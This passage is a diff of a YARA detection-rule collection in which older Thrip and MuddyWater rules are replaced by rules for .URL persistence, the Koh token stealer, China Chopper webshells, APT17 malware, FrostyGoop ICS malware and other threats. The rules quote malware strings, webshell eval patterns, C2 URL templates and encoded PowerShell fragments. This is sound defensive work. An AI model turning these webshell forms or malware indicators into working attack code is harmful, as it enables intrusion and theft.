-		uint16(0)==0x5a4d and filesize <100KB and (pe.imphash()=="a7f0714e82b3105031fa7bc89dfe7664" or pe.imphash()=="8812ff21aeb160e8800257140acae54b" or pe.imphash()=="44a1e904763fe2d0837c747c7061b010" or pe.imphash()=="51a854d285aa12eb82e76e6e1be01573" or pe.imphash()=="a1f457c8c549c5c430556bfe5887a4e6")
+		$icon and any of ($url*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_10 : FILE
+rule SIGNATURE_BASE_Methodology_Suspicious_Shortcut_Workingdirremote_SMB : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
-		author = "Florian Roth (Nextron Systems)"
-		id = "3307ca18-59fb-5400-b51e-c4f4aa99e592"
-		date = "2018-06-21"
+		description = "Detects possible shortcut usage for .URL persistence"
+		author = "@itsreallynick (Nick Carr)"
+		id = "26e19fe3-c25c-53b0-9b41-c04803134bc2"
+		date = "2019-09-27"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L172-L189"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "79a8dfd63e96ccc9259272476e364e53b841b42255a2a5f3b9f93e91caa5d1c2"
-		score = 75
+		reference = "https://twitter.com/cglyer/status/1176184798248919044"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_url_persitence.yar#L280-L297"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5d9caa64ac730d34a2dcfb3368f8302849275b6ee16fe31f20978d72382b0d73"
+		score = 50
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "350d2a6f8e6a4969ffbf75d9f9aae99e7b3a8cd8708fd66f977e07d7fbf842e3"
 
 	strings:
-		$x1 = "!This Program cannot be run in DOS mode." fullword ascii
-		$x2 = "!this program cannot be run in dos mode." fullword ascii
-		$s1 = "svchost.dll" fullword ascii
-		$s2 = "constructor or from DllMain." fullword ascii
+		$icon = "WorkingDirectory=file://" nocase
+		$url_clsid = "[{000214A0-0000-0000-C000-000000000046}]"
+		$url_explicit = "[InternetShortcut]" nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and ($x1 or 2 of them )
+		$icon and any of ($url*) and uint16(0)!=0x5A4D and uint32(0)!=0x464c457f and uint32(0)!=0xBEBAFECA and uint32(0)!=0xFEEDFACE and uint32(0)!=0xFEEDFACF and uint32(0)!=0xCEFAEDFE and filesize <30KB
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_11 : FILE
+rule SIGNATURE_BASE_HKTL_Koh_Tokenstealer : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
-		author = "Florian Roth (Nextron Systems)"
-		id = "69476f7d-c436-5863-bf20-1d3e821974e6"
-		date = "2018-06-21"
+		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project."
+		author = "Will Schroeder (@harmj0y)"
+		id = "76b6cc9f-5db7-5e9b-939c-e713bad8137a"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L191-L210"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "066fc3622a0db5cc511e85f6efc08191c2c9268524c8761dc17a05e6d133c263"
+		reference = "https://github.com/GhostPack/Koh"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_hktl_koh_tokenstealer.yar#L2-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e2c4d948e23f1a3a92689f35fedde6e041d09cd88deac9ff3249556be0b8f789"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "590a6796b97469f8e6977832a63c0964464901f075a9651f7f1b4578e55bd8c8"
 
 	strings:
-		$s1 = "\\AppData\\Local\\Temp\\dw20.EXE" ascii
-		$s2 = "C:\\Windows\\system32\\sysprep\\cryptbase.dll" fullword ascii
-		$s3 = "WFQNJMBWF" fullword ascii
-		$s4 = "SQLWLWZSF" fullword ascii
-		$s5 = "PFQUFQSBPP" fullword ascii
-		$s6 = "WQZXQFPVOW" fullword ascii
+		$x_typelibguid = "4d5350c8-7f8c-47cf-8cde-c752018af17e" ascii
+		$s1 = "[*] Already SYSTEM, not elevating" wide fullword
+		$s2 = "S-1-[0-59]-\\d{2}-\\d{8,10}-\\d{8,10}-\\d{8,10}-[1-9]\\d{2}" wide
+		$s3 = "0x[0-9A-Fa-f]+$" wide
+		$s4 = "\\Koh.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and (pe.imphash()=="6eef4394490378f32d134ab3bf4bf194" or all of them )
+		uint16(0)==0x5A4D and 1 of ($x*) or 3 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_12 : FILE
+rule SIGNATURE_BASE_Chinachopper_Generic : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
+		description = "China Chopper Webshells - PHP and ASPX"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b24b8042-b6a3-5af8-9fcf-6d042bdb9524"
-		date = "2018-06-21"
-		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L212-L234"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "49357a34f3b1d0bb86d1c6ddfa6a6c3b92bfafaebd050d835c0a902199a2121b"
+		id = "2473cef1-88cf-5b76-a87a-2978e6780b4f"
+		date = "2015-03-10"
+		modified = "2022-10-27"
+		reference = "https://www.fireeye.com/content/dam/legacy/resources/pdfs/fireeye-china-chopper-report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_webshell_chinachopper.yar#L2-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "34cb81b077d6dae5b4565001b2ab28897c6c554f00aa102601fb9c416c6c0f09"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "33c01d3266fe6a70e8785efaf10208f869ae58a17fd9cdb2c6995324c9a01062"
 
 	strings:
-		$s1 = "pGlobal->nOSType==64--%s\\cmd.exe %s" fullword ascii
-		$s2 = "httpcom.log" fullword ascii
-		$s3 = "\\CryptBase.dll" ascii
-		$s4 = "gupdate.exe" fullword ascii
-		$s5 = "wusa.exe" fullword ascii
-		$s6 = " %s %s /quiet /extract:%s\\%s\\" ascii
-		$s7 = "%s%s.dll.cab" fullword ascii
-		$s8 = "/c %s\\%s\\%s%s %s" fullword ascii
-		$s9 = "ReleaseEvildll" fullword ascii
-		$s0 = "%s\\%s\\%s%s" fullword ascii
+		$x_aspx = /%@\sPage\sLanguage=.Jscript.%><%eval\(Request\.Item\[.{,100}unsafe/
+		$x_php = /<?php.\@eval\(\$_POST./
+		$fp1 = "GET /"
+		$fp2 = "POST /"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and 6 of them
+		filesize <300KB and 1 of ($x*) and not 1 of ($fp*)
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_13 : FILE
+rule SIGNATURE_BASE_APT17_Malware_Oct17_1 : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
+		description = "Detects APT17 malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e6aec6f3-2024-5fb2-b37a-77a182684d32"
-		date = "2018-06-21"
+		id = "457312d8-5bfe-5282-9ace-2f169278569c"
+		date = "2017-10-03"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L236-L254"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3c319a3ca78687cd2af77d97b4b4a8e72dadd812bf3da2145a23df278c3aa9a2"
+		reference = "https://goo.gl/puVc9q"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt17_mal_sep17.yar#L13-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0c4391b47df0c40dbd605515992e5eaa758d0e509e9ad24b517d104b8e7d504c"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "780620521c92aab3d592b3dc149cbf58751ea285cfdaa50510002b441796b312"
+		hash1 = "dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83"
 
 	strings:
-		$s1 = "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" fullword ascii
-		$s2 = "<member><name>password</name>" fullword ascii
-		$s3 = "<value><string>qqtorspy</string></value>" fullword ascii
-		$s4 = "SOFTWARE\\QKitTORSPY" fullword wide
-		$s5 = "ipecho.net" fullword ascii
+		$s1 = "\\spool\\prtprocs\\w32x86\\localspl.dll" ascii
+		$s2 = "\\spool\\prtprocs\\x64\\localspl.dll" ascii
+		$s3 = "\\msvcrt.dll" ascii
+		$s4 = "\\TSMSISrv.dll" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="3dfad33b2fb66c083c99dc10341908b7" or 4 of them )
+		( uint16(0)==0x5a4d and filesize <500KB and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_14 : FILE
+rule SIGNATURE_BASE_APT17_Malware_Oct17_2 : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
+		description = "Detects APT17 malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "736e2700-cdcb-5165-b786-67edaef765b6"
-		date = "2018-06-21"
+		id = "9f21514a-168b-5158-8322-60fa8499b11a"
+		date = "2017-10-03"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L256-L276"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c96a40495bc2a17a6215c877ad054bd2e1e10c524c2d54da1955d370b9ccdcd7"
+		reference = "https://goo.gl/puVc9q"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt17_mal_sep17.yar#L31-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "378a21edeaf36267986bd5158fe736b0970b0b9f0ad824f09dc6434a9ba1d7e2"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "67dd44a8fbf6de94c4589cf08aa5757b785b26e49e29488e9748189e13d90fb3"
+		hash1 = "20cd49fd0f244944a8f5ba1d7656af3026e67d170133c1b3546c8b2de38d4f27"
 
 	strings:
-		$s1 = "%SystemRoot%\\System32\\svchost.exe -k " fullword ascii
-		$s2 = "spdirs.dll" fullword ascii
-		$s3 = "Provides storm installation services such as Publish, and Remove." fullword ascii
-		$s4 = "RegSetValueEx(Svchost\\netsvcs)" fullword ascii
-		$s5 = "Load %s Error" fullword ascii
+		$x1 = "Cookie: __xsptplus=%s" fullword ascii
+		$x2 = "http://services.fiveemotions.co.jp" fullword ascii
+		$x3 = "http://%s/ja-JP/2015/%d/%d/%d%d%d%d%d%d%d%d.gif" fullword ascii
+		$s1 = "FoxHTTPClient_EXE_x86.exe" fullword ascii
+		$s2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.3072" ascii
+		$s3 = "hWritePipe2 Error:%d" fullword ascii
+		$s4 = "Not Support This Function!" fullword ascii
+		$s5 = "Global\\PnP_No_Management" fullword ascii
+		$s6 = "Content-Type: image/x-png" fullword ascii
+		$s7 = "Accept-Language: ja-JP" fullword ascii
+		$s8 = "IISCMD Error:%d" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and ((pe.exports("InstallA") and pe.exports("InstallB") and pe.exports("InstallC")) or all of them )
+		uint16(0)==0x5a4d and filesize <100KB and (pe.exports("_foo@0") or 1 of ($x*) or 6 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_15 : FILE
+rule SIGNATURE_BASE_APT17_Unsigned_Symantec_Binary_EFA : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
+		description = "Detects APT17 malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fd8aa404-4c12-5c8f-a952-a143da858b9b"
-		date = "2018-06-21"
+		id = "56eec517-8b00-5cb5-9806-249e50f53b99"
+		date = "2017-10-03"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L278-L299"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "22769d215e52965f48eb3455b39fbd8f8ce950a67f8132612d42b78fde9822a5"
+		reference = "https://goo.gl/puVc9q"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt17_mal_sep17.yar#L61-L75"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7306c8ae2be4dbf56957e11d78ba85bcfa1c8570ba41f749ea5b0e2a05e9df7b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "231c569f11460a12b171f131c40a6f25d8416954b35c28ae184aba8a649d9786"
+		hash1 = "128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f"
 
 	strings:
-		$s1 = "%s\\cmd.exe /c %s" fullword ascii
-		$s2 = "CryptBase.dll" fullword ascii
-		$s3 = "gupdate.exe" fullword ascii
-		$s4 = "wusa.exe" fullword ascii
-		$s5 = " %s %s /quiet /extract:%s\\%s\\" ascii
-		$s6 = "%s%s.dll.cab" fullword ascii
-		$s7 = "%s\\%s\\%s%s %s" fullword ascii
-		$s8 = "%s\\%s\\%s%s" fullword ascii
+		$s1 = "Copyright (c) 2007 - 2011 Symantec Corporation" fullword wide
+		$s2 = "\\\\.\\SYMEFA" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="f6ec70a295000ab0a753aa708e9439b4" or 6 of them )
+		( uint16(0)==0x5a4d and filesize <200KB and all of them and pe.number_of_signatures==0)
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_16 : FILE
+rule SIGNATURE_BASE_APT17_Malware_Oct17_Gen : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
+		description = "Detects APT17 malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "58be9a1b-2228-5d7a-97c9-198cacbe1a66"
-		date = "2018-06-21"
+		id = "c2156e68-d5b5-5bd7-858c-2d5e90199287"
+		date = "2017-10-03"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L301-L317"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "950ece29e8fd056e3506684bce9b16eb185d63c1b020e4911972f5fcbdadbe30"
+		reference = "https://goo.gl/puVc9q"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt17_mal_sep17.yar#L77-L107"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3e0e4a989a907f5f1aaac4ba43611dd0d2e4b4fd340234f04b3fce25843f9dc6"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2b1c1c6d82837dbbccd171a0413c1d761b1f7c3668a21c63ca06143e731f030e"
+		hash1 = "0375b4216334c85a4b29441a3d37e61d7797c2e1cb94b14cf6292449fb25c7b2"
+		hash2 = "07f93e49c7015b68e2542fc591ad2b4a1bc01349f79d48db67c53938ad4b525d"
+		hash3 = "ee362a8161bd442073775363bf5fa1305abac2ce39b903d63df0d7121ba60550"
 
 	strings:
-		$s1 = "[%d] Failed, %08X" fullword ascii
-		$s2 = "woqunimalegebi" fullword ascii
-		$s3 = "[%d] Offset can not fetched." fullword ascii
+		$x1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NETCLR 2.0.50727)" fullword ascii
+		$x2 = "http://%s/imgres?q=A380&hl=en-US&sa=X&biw=1440&bih=809&tbm=isus&tbnid=aLW4-J8Q1lmYBM" ascii
+		$s1 = "hWritePipe2 Error:%d" fullword ascii
+		$s2 = "Not Support This Function!" fullword ascii
+		$s3 = "Cookie: SESSIONID=%s" fullword ascii
+		$s4 = "http://0.0.0.0/1" fullword ascii
+		$s5 = "Content-Type: image/x-png" fullword ascii
+		$s6 = "Accept-Language: en-US" fullword ascii
+		$s7 = "IISCMD Error:%d" fullword ascii
+		$s8 = "[IISEND=0x%08X][Recv:] 0x%08X %s" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and ( all of them or pe.imphash()=="c6a4c95d868a3327a62c9c45f5e15bbf")
+		( uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="414bbd566b700ea021cfae3ad8f4d9b9" or 1 of ($x*) or 6 of them ))
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_17 : FILE
+rule SIGNATURE_BASE_MAL_Go_Modbus_Jul24_1 : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
-		author = "Florian Roth (Nextron Systems)"
-		id = "e314a893-1ef5-5d5f-b056-af25765c0b70"
-		date = "2018-06-21"
-		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L319-L343"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0724e07614e704d9ac8a1ae4aecfcf3d9800dde6f83eeecc8427ab6205e321a6"
+		description = "Detects characteristics reported by Dragos for FrostyGoop ICS malware"
+		author = "Florian Roth"
+		id = "4a1e6bbe-d743-5394-b207-e417b64fa76d"
+		date = "2024-07-23"
+		modified = "2024-07-24"
+		reference = "https://hub.dragos.com/hubfs/Reports/Dragos-FrostyGoop-ICS-Malware-Intel-Brief-0724_.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/mal_go_modbus.yar#L2-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d992c8159deca0ed2b2a33da3c31fdf0efa9a09ba941d059fa7fc1bad458aed1"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "05036de73c695f59adf818d3c669c48ce8626139d463b8a7e869d8155e5c0d85"
-		hash2 = "08d8c610e1ec4a02364cb53ba44e3ca5d46e8a177a0ecd50a1ef7b5db252701d"
-		hash3 = "14535607d9a7853f13e8bf63b629e3a19246ed9db6b4d2de2ca85ec7a7bee140"
+		hash1 = "5d2e4fd08f81e3b2eb2f3eaae16eb32ae02e760afc36fa17f4649322f6da53fb"
 
 	strings:
-		$x1 = "c:\\users\\administrator\\desktop\\code\\skeyman2\\" ascii
-		$x2 = "\\SkeyMan2.pdb" ascii
-		$x3 = "\\\\.\\Pnpkb" fullword ascii
-		$s1 = "\\DosDevices\\Pnpkb" wide
-		$s2 = "\\DosDevices\\PnpKb" wide
-		$s3 = "\\Driver\\kbdhid" wide
-		$s4 = "\\Device\\PnpKb" wide
-		$s5 = "Microsoft  Windows Operating System" fullword wide
-		$s6 = "hDevice == INVALID_HANDLE_VALUE" fullword ascii
+		$a1 = "Go build"
+		$sa1 = "github.com/rolfl/modbus"
+		$sb1 = "main.TaskList.executeCommand"
+		$sb2 = "main.TargetList.getTargetIpList"
+		$sb3 = "main.TaskList.getTaskIpList"
+		$sb4 = "main.CycleInfo" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <20KB and (1 of ($x*) and 1 of ($s*))
+		filesize <30MB and ($sa1 and 3 of ($sb*)) or 4 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Thrip_Sample_Jun18_18 : FILE
+rule SIGNATURE_BASE_SUSP_Doc_Windowsinstaller_Call_Feb22_1 : FILE
 {
 	meta:
-		description = "Detects sample found in Thrip report by Symantec "
-		author = "Florian Roth (Nextron Systems)"
-		id = "20642526-5a4d-5dca-a6f5-29f19a9b5271"
-		date = "2018-06-21"
+		description = "Triggers on docfiles executing windows installer. Used for deploying ThinBasic scripts."
+		author = "Nils Kuhnert"
+		id = "8f2e8f91-74e0-5574-9c0a-1479d6114212"
+		date = "2022-02-26"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets "
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_thrip.yar#L345-L367"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5cac313bd77900e67f0528d660671394915dff7159ca6fa067fd9c392d7c269a"
-		score = 75
+		reference = "https://twitter.com/threatinsight/status/1497355737844133895"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_maldoc.yar#L1-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "279182487ab7d35264adfbd0d122ee7634cd92ae1711de78ec7f20928df34f49"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "33029f5364209e05481cfb2a4172c6dc157b0070f51c05dd34485b8e8da6e820"
-		hash2 = "263c01a3b822722dc288a5ac138d953630d8c548a0bee080ae3979b7d364cecb"
-		hash3 = "52d190a8d20b4845551b8765cbd12cfbe04cf23e6812e238e5a5023c34ee9b37"
-		hash4 = "1f019e3c30a02b7b65f7984903af11d561d02b2666cc16463c274a2a0e62145d"
-		hash5 = "43904ea071d4dce62a21c69b8d6efb47bcb24c467c6f6b3a6a6ed6cd2158bfe5"
-		hash6 = "00d9da2b665070d674acdbb7c8f25a01086b7ca39d482d55f08717f7383ee26a"
+		tlp = "white"
 
 	strings:
-		$s1 = "Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key" fullword ascii
-		$s2 = "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard" fullword ascii
-		$s3 = "LoadLibraryA() failed in KbdGetProcAddressByName()" fullword ascii
-		$s5 = "Unknown Virtual-Key Code" fullword ascii
-		$s6 = "Computer Sleep key" fullword ascii
+		$ = "WindowsInstaller.Installer$"
+		$ = "CreateObject"
+		$ = "InstallProduct"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint32be(0)==0xd0cf11e0 and all of them
 }
-rule SIGNATURE_BASE_Muddywater_Mal_Doc_Feb18_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Winnti_BR_Report_Twinpeaks : FILE
 {
 	meta:
-		description = "Detects malicious document used by MuddyWater"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5f275ee8-c6a9-532b-bc82-b109195171da"
-		date = "2018-02-26"
+		description = "Detects Winnti samples"
+		author = "@br_data repo"
+		id = "2e4e2b88-fdb4-5adc-8192-a304d71ca851"
+		date = "2019-07-24"
 		modified = "2023-12-05"
-		reference = "Internal Research - TI2T"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_muddywater.yar#L10-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b675b004f86695821737b7fc05276c8350e44f5822ec458a74658f895ccf7082"
+		reference = "https://github.com/br-data/2019-winnti-analyse"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_br.yar#L3-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "76457f5aa4cc4bf4f43ffbaa60d63006455977e881f1d74b845835c505a93fed"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c"
 
 	strings:
-		$x1 = "aWV4KFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmco" ascii
-		$x2 = "U1FCdUFIWUFid0JyQUdVQUxRQkZBSGdBY0FCeUFHVUFjd0J6QUdrQWJ3QnVBQ0FBS"
+		$cooper = "Cooper"
+		$pattern = { e9 ea eb ec ed ee ef f0}
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <3000KB and 1 of them
+		uint16(0)==0x5a4d and $cooper and ($pattern in (@cooper[1]..@cooper[1]+100))
 }
-rule SIGNATURE_BASE_Muddywater_Mal_Doc_Feb18_2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_BR_Report_Thedao : FILE
 {
 	meta:
-		description = "Detects malicious document used by MuddyWater"
-		author = "Florian Roth (Nextron Systems)"
-		id = "117e1d33-63a3-52c8-acf6-bc61959193db"
-		date = "2018-02-26"
+		description = "Detects indicator in malicious UPX packed samples"
+		author = "@br_data repo"
+		id = "5cc932d7-2ec6-5570-af4a-3f64b39e6db5"
+		date = "2019-07-24"
 		modified = "2023-12-05"
-		reference = "Internal Research - TI2T"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_muddywater.yar#L28-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
